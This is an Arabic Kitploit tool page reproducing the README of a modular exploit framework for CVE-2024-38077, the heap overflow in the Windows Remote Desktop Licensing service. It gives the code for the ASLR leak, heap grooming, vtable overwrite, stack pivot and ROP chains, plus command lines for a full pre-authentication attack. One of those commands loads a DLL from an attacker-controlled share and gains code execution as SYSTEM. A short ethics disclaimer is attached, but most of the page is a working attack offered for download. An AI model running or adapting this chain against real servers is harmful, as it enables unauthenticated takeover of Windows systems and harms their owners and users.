Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2024-38077-MadLicense-exploit — إطار عمل استغلال معياري لـ CVE-2024-38077 (تجاوز سعة كومة RDL في Windows) مع تجاوز ASLR، تهيئة الكومة، توليد سلسلة ROP، وحمولات حقن DLL لتنفيذ تعليمات عن بعد دون مصادقة. | Kitploit
أدوات/GitHubGitHub/ermensonx/cve-2024-38077-madlicense-exploit
أطر الاستغلالتحليل الثغرات الأمنيةالاستغلالالهندسة العكسيةشيل كوداختبار الاختراقالتعلم والتعليمتطوير الحمولاتاستغلال الملفات الثنائية

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
GitHubermensonx/cve-2024-38077-madlicense-exploit

CVE-2024-38077-MadLicense-exploit

إطار عمل استغلال معياري لـ CVE-2024-38077 (تجاوز سعة كومة RDL في Windows) مع تجاوز ASLR، تهيئة الكومة، توليد سلسلة ROP، وحمولات حقن DLL لتنفيذ تعليمات عن بعد دون مصادقة.

عرض المستودع
1منذ 8 أشهرلم تتم المراجعة بعد

CVE-2024-38077 MadLicense - إطار استغلال كامل

📚 وثائق تقنية للعرض

يشرح هذا المستند كل مكون من الإطار، لماذا يوجد، وكيف يعمل استغلال تجاوز سعة المخزن المؤقت للكومة في نظام ويندوز الحديث.


🎯 ما هو CVE-2024-38077؟

الثغرة

يحتوي خدمة ترخيص سطح المكتب البعيد في ويندوز (lserver.exe) على تجاوز سعة المخزن المؤقت للكومة في الدالة CDataCoding::DecodeData.

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│  الثغرة: حساب خاطئ للحجم                                    │
├─────────────────────────────────────────────────────────────┤
│  1. يرسل العميل بيانات Base64 بحجم N                           │
│  2. يحسب الخادم: buffer_size = (N / 4) * 3                    │
│  3. يخصص الخادم مخزنًا مؤقتًا بحجم 'buffer_size' بايت       │
│  4. فك تشفير Base64 يكتب فعليًا: ceil(N * 3/4) بايت          │
│  5. إذا لم يكن N مضاعفًا للـ4: تجاوز!                         │
└─────────────────────────────────────────────────────────────┘

مثال ملموس:

  • الإدخال: 4001 بايت
  • حساب الخادم: (4001 / 4) * 3 = 1000 * 3 = 3000 بايت مخصصة
  • فك التشفير الفعلي: ceil(4001 * 0.75) = 3001 بايت مكتوب
  • تجاوز: 1 بايت (ولكن قابل للتحكم للحصول على المزيد)

لماذا هو حرج؟

  1. قبل المصادقة: لا حاجة لبيانات اعتماد
  2. عن بُعد: عبر الشبكة، المنفذ 135 (RPC)
  3. SYSTEM: الخدمة تعمل كـ NT AUTHORITY\SYSTEM
  4. شائع: ويندوز سيرفر 2000-2025 متأثرة

🏗️ بنية الإطار

نظرة عامة على الوحدات

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│                      سلسلة الاستغلال                            │
├──────────┬──────────┬──────────┬──────────┬──────────┬─────────┤
│  LEAK    │  MODEL   │  WRITE   │  GROOM   │ TRIGGER  │ EXECUTE │
│ (ASLR)   │ (Target) │ (Where)  │ (Heap)   │ (Use)    │ (RCE)   │
├──────────┼──────────┼──────────┼──────────┼──────────┼─────────┤
│ leak.py  │target_   │write_    │heap_     │trigger   │code_    │
│          │model.py  │primitive │controller│.py       │reuse.py │
│          │          │.py       │.py       │          │         │
└──────────┴──────────┴──────────┴──────────┴──────────┴─────────┘
          ↓                                              ↓
    ┌───────────┐                              ┌──────────────┐
    │ execution │                              │   payload    │
    │   .py     │                              │     .py      │
    └───────────┘                              └──────────────┘
          ↓                                              ↓
    ┌───────────────────────────────────────────────────────────┐
    │                    mitigations.py                         │
    │              (DEP, ASLR, CFG awareness)                   │
    └───────────────────────────────────────────────────────────┘
                              ↓
    ┌───────────────────────────────────────────────────────────┐
    │                      exploit.py                           │
    │                   (Orchestrator)                          │
    └───────────────────────────────────────────────────────────┘

📦 الوحدة 1: primitives.py - الأساس

ما هي؟

أدوات منخفضة المستوى للتعامل مع الذاكرة.

لماذا توجد؟

يحتاج الاستغلال إلى:

  • التحويل بين الأنواع (int ↔ bytes)
  • توليد أنماط لتحليل الأعطال
  • محاذاة البيانات بشكل صحيح

الدوال الرئيسية

root@kitploit:~
# Pack/Unpack - تحويل الأعداد الصحيحة إلى بايتات والعكس
p64(0xDEADBEEF)      # → b'\xef\xbe\xad\xde\x00\x00\x00\x00'
p32(0x41414141)      # → b'AAAA'
u64(b'\x41\x42...')  # → 0x... (int)

# النمط الدوري - لتحديد إزاحة الانهيار
cyclic(100)          # يولد تسلسل De Bruijn
cyclic_find(pattern, value)  # يجد إزاحة القيمة

# المحاذاة - الذاكرة يجب أن تكون محاذية
align(0x1003, 0x10)  # → 0x1010 (محاذاة إلى 16 بايت)

لماذا هذا مهم؟

المشكلة الحقيقية: تتسبب في انهيار ويحتوي RIP على 0x61616171.

  • بدون cyclic: "مكان ما في المخزن المؤقت..."
  • مع cyclic: cyclic_find(pattern, 0x61616171) → الإزاحة بالضبط!

📦 الوحدة 2: leak.py - تجاوز ASLR

ما هو ASLR؟

Address Space Layout Randomization: مع كل إقلاع/تشغيل، تتغير العناوين.

root@kitploit:~
الإقلاع 1:  ntdll.dll @ 0x7FFA12340000
الإقلاع 2:  ntdll.dll @ 0x7FFB98760000
الإقلاع 3:  ntdll.dll @ 0x7FFC55550000

لماذا نحتاج إلى تسريب؟

بدون معرفة مكان الذاكرة:

  • لا نعرف أين نضع الحمولة
  • لا نعرف عنوان أدوات ROP
  • أي محاولة = انهيار عشوائي

هيكل الوحدة

root@kitploit:~
class LeakInfo:
    """حاوية للعناوين المسربة"""
    heap_base: int         # قاعدة الكومة
    ntdll_base: int        # قاعدة ntdll.dll
    kernel32_base: int     # قاعدة kernel32.dll
    # ...

class LeakProvider:
    """منسق مصادر التسريب"""
    sources: List[LeakSource]
    
    def obtain() -> LeakInfo:
        # يحاول كل مصدر حتى ينجح

مصادر التسريب المنفذة

المصدركيفية عملهمتى يُستخدم
ManualLeakSource

لماذا الإدخال اليدوي؟

في العروض/المختبرات، يمكنك:

  1. إرفاق مصحح بالهدف
  2. رؤية قاعدة الوحدات
  3. تقديمها عبر --ntdll-base 0x7ffa...

هذا يحاكي وجود تسريب حقيقي، مما يسمح باختبار باقي السلسلة.


📦 الوحدة 3: target_model.py - رسم خريطة الهدف

ما هي؟

نمذجة هياكل البيانات الضعيفة والمجاورة.

لماذا توجد؟

التجاوز ≠ الاستغلال. نحتاج إلى معرفة:

  • ما الذي نكتب فوقه؟
  • ما هو حجم الكائن؟
  • أي حقل مفيد لإفساده؟

المكونات

root@kitploit:~
class VulnerableBuffer:
    """المخزن المؤقت الذي سيتعرض للتجاوز"""
    allocation_size: int   # كم تم تخصيصه
    write_size: int        # كم سيتم كتابته
    overflow_amount: int   # الفرق = التجاوز
    
    def calculate_overflow(input_size):
        # يحاكي خطأ الحساب
        alloc = (input_size // 4) * 3
        actual = ((input_size + 3) // 4) * 3
        return alloc, actual, actual - alloc

class AdjacentObject:
    """الكائن الذي سيتلف (مجاور على الكومة)"""
    fields: List[StructField]
    has_vtable: bool       # هل لديه جدول افتراضي؟
    has_function_ptr: bool # هل لديه مؤشر دالة؟

مثال على هيكل الهدف

root@kitploit:~
# كائن افتراضي بناءً على التحليل العكسي
license_req = AdjacentObject(
    name="CLicenseRequest",
    typical_size=0x100,
    has_vtable=True
)

# الحقول المرسومة
license_req.add_field("vtable",   0x00, 8, VTABLE,   is_target=True)
license_req.add_field("refcount", 0x08, 4, REFCOUNT)
license_req.add_field("callback", 0x10, 8, CALLBACK, is_target=True)

لماذا is_target=True؟

تحدد الحقول المفيدة للاستغلال:

  • vtable: إذا كتبنا فوقها، نتحكم في استدعاءات الدوال
  • callback: إذا كتبنا فوقها، نتحكم في وقت استدعاء الاستدعاء

📦 الوحدة 4: write_primitive.py - كتابة محكومة

المشكلة

التجاوز يكتب بيانات متسلسلة. لكننا نحتاج إلى:

  • كتابة قيمة محددة (عنوان ROP الخاص بنا)
  • عند إزاحة محددة (حيث يوجد مؤشر vtable)

الحل

root@kitploit:~
class WritePrimitive:
    def build_overflow_data(self) -> bytes:
        """
        يبني مخزن التجاوز بقيم دقيقة
        
        التخطيط:
        [حشو حتى الإزاحة] [قيمة محكومة] [مزيد من البيانات]
        """
        data = bytearray(b"A" * max_offset)
        
        for target in self.targets:
            # يضع القيمة بالضبط عند الإزاحة بالضبط
            data[target.offset:target.offset+8] = p64(target.value)
        
        return bytes(data)

أنواع الكتابة الفوقية

root@kitploit:~
# الكتابة فوق vtable
write_primitive.set_vtable_overwrite(
    vtable_addr=fake_vtable_address,
    obj_name="CLicenseRequest"
)

# الكتابة فوق الاستدعاء
write_primitive.set_callback_overwrite(
    callback_addr=gadget_address
)

لماذا لا يكفي كتابة قمامة؟

الكتابةالنتيجة
AAAA...انهيار بدون تحكم
عنوان دقيق عند إزاحة دقيقةتنفيذ محكوم

📦 الوحدة 5: heap_controller.py - تهيئة الكومة

تحدي الكومة الحديثة

يستخدم ويندوز LFH (Low Fragmentation Heap) و Segment Heap:

  • التخصيصات عشوائية
  • التخطيط غير متوقع
  • حراس الكومة يكتشفون التلف

الحل: التهيئة

التهيئة = معالجة الكومة لتخطيط حتمي.

root@kitploit:~
قبل التهيئة:
┌────┬────┬────┬────┬────┬────┐
│ ?? │ ?? │ ?? │ ?? │ ?? │ ?? │
└────┴────┴────┴────┴────┴────┘
تخصيصات عشوائية، فجوات غير متوقعة

بعد التهيئة:
┌────┬────┬────┬────┬────┬────┐
│SPAM│SPAM│HOLE│SPAM│SPAM│HOLE│
└────┴────┴────┴────┴────┴────┘
تخطيط محكوم، "فجوات" حيث نريد

مراحل التهيئة

root@kitploit:~
class HeapLayoutController:
    def execute_full_groom(self):
        # المرحلة 1: ملء الفجوات الموجودة
        self.phase_fill(50)
        
        # المرحلة 2: تفعيل LFH للسلة المستهدفة
        # (ويندوز ينشط LFH بعد حوالي 17 تخصيصًا من نفس الحجم)
        self.phase_activate_lfh()
        
        # المرحلة 3: الرش - إنشاء نمط كثيف
        sprayed = self.phase_spray(200)
        
        # المرحلة 4: إنشاء فجوات استراتيجية
        # نحرر كل N من التخصيصات
        self.phase_create_holes(sprayed, interval=4)
        
        # المرحلة 5: التثبيت
        self.phase_stabilize()

لماذا ينجح؟

  1. نملأ الكومة بكائنات خاصة بنا
  2. ننشئ "فجوات" على فترات منتظمة
  3. عندما يخصص الخادم المخزن المؤقت الضعيف...
  4. ...احتمال كبير أن يقع في فجوة
  5. ...مجاور لكائن خاص بنا يمكننا إفساده

📦 الوحدة 6: trigger.py - المشغل بعد التلف

المشكلة

حدث التلف. والآن؟

root@kitploit:~
الحالة الحالية:
- الذاكرة متلفة ✓
- القيمة الخبيثة مكتوبة ✓
- لكن لم يستخدمها أحد بعد!

الحل: إجبار الاستخدام

نحتاج أن يقرأ البرنامج ويستخدم البيانات المتلفة.

root@kitploit:~
class PostCorruptionTrigger:
    strategies: List[TriggerStrategy]
    
# الاستراتيجيات المنفذة:

class SecondRequestTrigger:
    """يقوم باستدعاء RPC ثانٍ يستخدم الكائن المتلف"""
    
class DestructorTrigger:
    """يقطع الاتصال - يجبر التنظيف الذي يستخدم المؤشرات المتلفة"""
    
class TimerTrigger:
    """ينتظر مؤقتًا داخليًا لمعالجة الحالة المتلفة"""

التدفق النموذجي

root@kitploit:~
1. استدعاء RPC الأول → يحدث التلف
2. قطع الاتصال (المشغل) → الخادم يستدعي المدمر
3. المدمر يقرأ vtable المتلف → يستدعي عنواننا
4. تنفيذ محكوم!

📦 الوحدة 7: execution.py - التحكم في التدفق

الهدف: اختطاف RIP/EIP

RIP (x64) أو EIP (x86) = مؤشر التعليمات

إذا تحكمنا في مؤشر التعليمات، نتحكم في التنفيذ.

طرق الاختطاف

root@kitploit:~
class HijackMethod(Enum):
    VTABLE = 0       # الأكثر شيوعًا في تجاوز الكومة
    FUNCTION_PTR = 1 # مؤشر الاستدعاء
    RETURN_ADDR = 2  # تجاوز المكدس (ليس حالتنا)

شرح اختطاف Vtable

root@kitploit:~
الكائن العادي:
┌─────────────┐
│ vtable* ────┼───→ ┌──────────────────┐
│ data...     │     │ عنوان method1    │ ← شرعي
│             │     │ عنوان method2    │
└─────────────┘     └──────────────────┘

بعد التلف:
┌─────────────┐
│ vtable* ────┼───→ ┌──────────────────┐
│ data...     │     │ عنوان GADGET     │ ← لنا!
│             │     │ عنوان GADGET     │
└─────────────┘     └──────────────────┘

عند استدعاء method1 → ينفذ gadget الخاص بنا!

انحياز المكدس

المشكلة: اختطاف vtable يعطينا استدعاءً واحدًا. نحتاج إلى المزيد.

الحل: انحياز المكدس

root@kitploit:~
# gadget يستبدل RSP بالمكان الذي لدينا فيه سلسلة ROP
xchg rax, rsp; ret  # RAX = عنواننا → RSP = عنواننا

# الآن "المكدس" هو منطقتنا المحكومة!
# كل RET يقفز إلى gadget التالي من سلسلة ROP

📦 الوحدة 8: code_reuse.py - سلاسل ROP

لماذا ROP؟

DEP (Data Execution Prevention): الكومة والمكدس غير قابلين للتنفيذ.

root@kitploit:~
شيلكود على الكومة → انهيار (access violation - execute)

الحل: إعادة استخدام الكود الموجود

ROP = Return-Oriented Programming

نربط "gadgets" - قطع صغيرة من الكود تنتهي بـ RET.

root@kitploit:~
GADGET 1: pop rcx; ret    ← يضع قيمة في RCX
GADGET 2: pop rdx; ret    ← يضع قيمة في RDX
GADGET 3: call LoadLibraryA ← يستدعي دالة!

كيف تُربط الـ gadgets

root@kitploit:~
سلسلة ROP/المكدس (منطقتنا المحكومة):
┌────────────────────┐
│ عنوان pop_rcx      │ ← RSP يشير هنا
├────────────────────┤
│ قيمة لـ RCX        │ ← سيتم "سحبها" إلى RCX
├────────────────────┤
│ عنوان pop_rdx      │ ← RET يذهب إلى هنا
├────────────────────┤
│ قيمة لـ RDX        │
├────────────────────┤
│ عنوان LoadLibraryA │ ← أخيرًا يستدعي!
└────────────────────┘

السلاسل المنفذة

root@kitploit:~
# تحميل DLL (حقن DLL)
build_load_library(dll_path_addr) → سلسلة ROP

# تخصيص ذاكرة قابلة للتنفيذ
build_virtual_alloc(size) → سلسلة ROP + RAX = عنوان RWX

# تنفيذ أمر
build_winexec(cmd_addr) → سلسلة ROP

📦 الوحدة 9: payload.py - الحمولة الدلالية

الفرق: البيانات مقابل النية

النوعمثالالنتيجة
بياناتAAAAAA...انهيار
نيةROP + مسار DLLتحميل DLL

أنواع الحمولة

root@kitploit:~
class PayloadIntent(Enum):
    CRASH_TEST = 0    # التحقق من عمل الاستغلال
    DLL_INJECT = 1    # تحميل DLL الخاصة بنا
    COMMAND_EXEC = 2  # تنفيذ أمر
    SHELLCODE = 3     # تنفيذ شيلكود عبر ROP

بناء حمولة حقن DLL

root@kitploit:~
def build_dll_inject(dll_path: str) -> bytes:
    """
    الهيكل النهائي:
    
    ┌──────────────────────────────┐
    │ سلسلة ROP (LoadLibraryA)    │ ← تنفذ أولاً
    ├──────────────────────────────┤
    │ حشو                          │
    ├──────────────────────────────┤
    │ "\\attacker\share\pay.dll\0"│ │سلسلة المسار
    └──────────────────────────────┘
    
    سلسلة ROP تمرر عنوان السلسلة إلى LoadLibraryA
    """

📦 الوحدة 10: mitigations.py - الوعي بالتخفيفات

تخفيفات ويندوز الحديثة

التكيف التلقائي

root@kitploit:~
def adapt_exploit(config):
    if mitigations.DEP.enabled:
        config["use_rop"] = True      # إجباري
        
    if mitigations.ASLR.enabled:
        config["require_leak"] = True # إجباري
        
    if mitigations.HEAP_HARDENING.enabled:
        config["spray_count"] *= 2    # رش أكثر

🔄 التدفق الكامل للاستغلال

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│                    تدفق الاستغلال                               │
└─────────────────────────────────────────────────────────────────┘

   المرحلة 1: التسريب (تجاوز ASLR)
   ├─ الحصول على عناوين الذاكرة
   ├─ الإدخال: يدوي أو تسريب تلقائي
   └─ الإخراج: LeakInfo بقواعد الوحدات

             ↓

   المرحلة 2: التحليل (رسم خريطة الهدف)
   ├─ حساب حجم التجاوز
   ├─ تحديد الكائنات المجاورة
   └─ تحديد إزاحات التلف

             ↓

   المرحلة 3: التهيئة (تشكيل الكومة)
   ├─ ملء → تفعيل LFH → رش → فجوات
   ├─ إنشاء تخطيط حتمي
   └─ تحضير "منطقة هبوط" للتخصيص الضعيف

             ↓

   المرحلة 4: الحمولة (البناء)
   ├─ بناء سلسلة ROP
   ├─ تضمين السلاسل/البيانات اللازمة
   └─ دمجها مع بيانات التجاوز

             ↓

   المرحلة 5: التلف (تشغيل التجاوز)
   ├─ إرسال استدعاء RPC خبيث
   ├─ التسبب في تجاوز
   └─ الكتابة فوق الهدف (vtable/استدعاء)

             ↓

   المرحلة 6: المشغل (إجبار الاستخدام)
   ├─ قطع الاتصال أو استدعاء ثانٍ
   ├─ إجبار استخدام المؤشر المتلف
   └─ اختطاف التنفيذ

             ↓

   المرحلة 7: التنفيذ (RCE)
   ├─ سلسلة ROP تنفذ
   ├─ LoadLibraryA تحمل DLL
   └─ كود عشوائي يُنفذ!

             ↓

   ┌─────────────────────────────────────────────────────────────┐
   │  النتيجة: شل عكسي، باب خلفي، إلخ. كـ SYSTEM               │
   └─────────────────────────────────────────────────────────────┘

🚀 الاستخدام العملي

التثبيت

root@kitploit:~
pip install impacket

الأوامر

root@kitploit:~
# فقط التحقق من تشغيل الخدمة
python -m madlicense.poc -t 10.0.0.5 --check

# تشغيل جاف (لا يرسل حمولة، يحاكي كل شيء)
python -m madlicense.poc -t 10.0.0.5 --dry-run \
    --ntdll-base 0x7ffa12340000

# حقن DLL كامل
python -m madlicense.poc -t 10.0.0.5 \
    --dll "\\\\attacker\\share\\payload.dll" \
    --heap-base 0x22345670000 \
    --ntdll-base 0x7ffa12340000 \
    --kernel32-base 0x7ffa12500000

# تشغيل calc.exe (PoC كلاسيكي)
python -m madlicense.poc -t 10.0.0.5 \
    --cmd calc.exe \
    --ntdll-base 0x7ffa12340000

⚠️ اعتبارات أخلاقية

هذا الإطار مخصص لـ:

  • ✅ بحث أمني مرخص
  • ✅ عروض تعليمية
  • ✅ اختبارات في بيئات محكومة
  • ✅ تطوير التخفيفات

ليس لـ:

  • ❌ وصول غير مرخص
  • ❌ هجمات على أنظمة إنتاجية
  • ❌ أي نشاط غير قانوني

📚 المراجع

  1. CVE-2024-38077 - تنبيه أمني من Microsoft
  2. Windows Internals - Mark Russinovich
  3. A Guide to Kernel Exploitation - Enrico Perla
  4. Modern Windows Exploit Development - Corelan Team

🎯 ملخص للعرض

العبارة المفتاحية:

"استغلال تجاوز سعة المخزن المؤقت للكومة في ويندوز الحديث ليس مجرد 'كتابة كثير'. إنها سلسلة دقيقة من تسريب → تهيئة → تلف → مشغل → تنفيذ."

الوحدات التسع:

  1. primitives - أدوات الذاكرة
  2. leak - تجاوز ASLR
  3. target_model - معرفة الهدف
  4. write_primitive - كتابة محكومة
  5. heap_controller - تهيئة الكومة
  6. trigger - إجبار استخدام التلف
  7. execution - اختطاف RIP
  8. code_reuse - سلاسل ROP
  9. mitigations - الوعي بالدفاعات

بدون أي من هذه، لا يوجد RCE.

تنزيل الأداة
يقدم المستخدم العناوين
مختبر/تصحيح مع الوصول إلى الهدف
ResponseLeakSourceيستخرج من ردود RPCإذا كانت الخدمة تسرب المؤشرات
TimingLeakSourceقناة جانبية زمنيةنظري، صعب جدًا
التخفيفماذا يفعلتجاوزنا
DEPالكومة/المكدس غير قابل للتنفيذROP (إعادة استخدام الكود)
ASLRعناوين عشوائيةتسريب معلومات
CFGيتحقق من أهداف الاستدعاءاتاستدعاء أهداف صالحة، ثم انحياز
Stack Cookieيكتشف تجاوز المكدسلا نستخدم تجاوز المكدس
Heap Hardeningصفحات حارسة، إلختهيئة دقيقة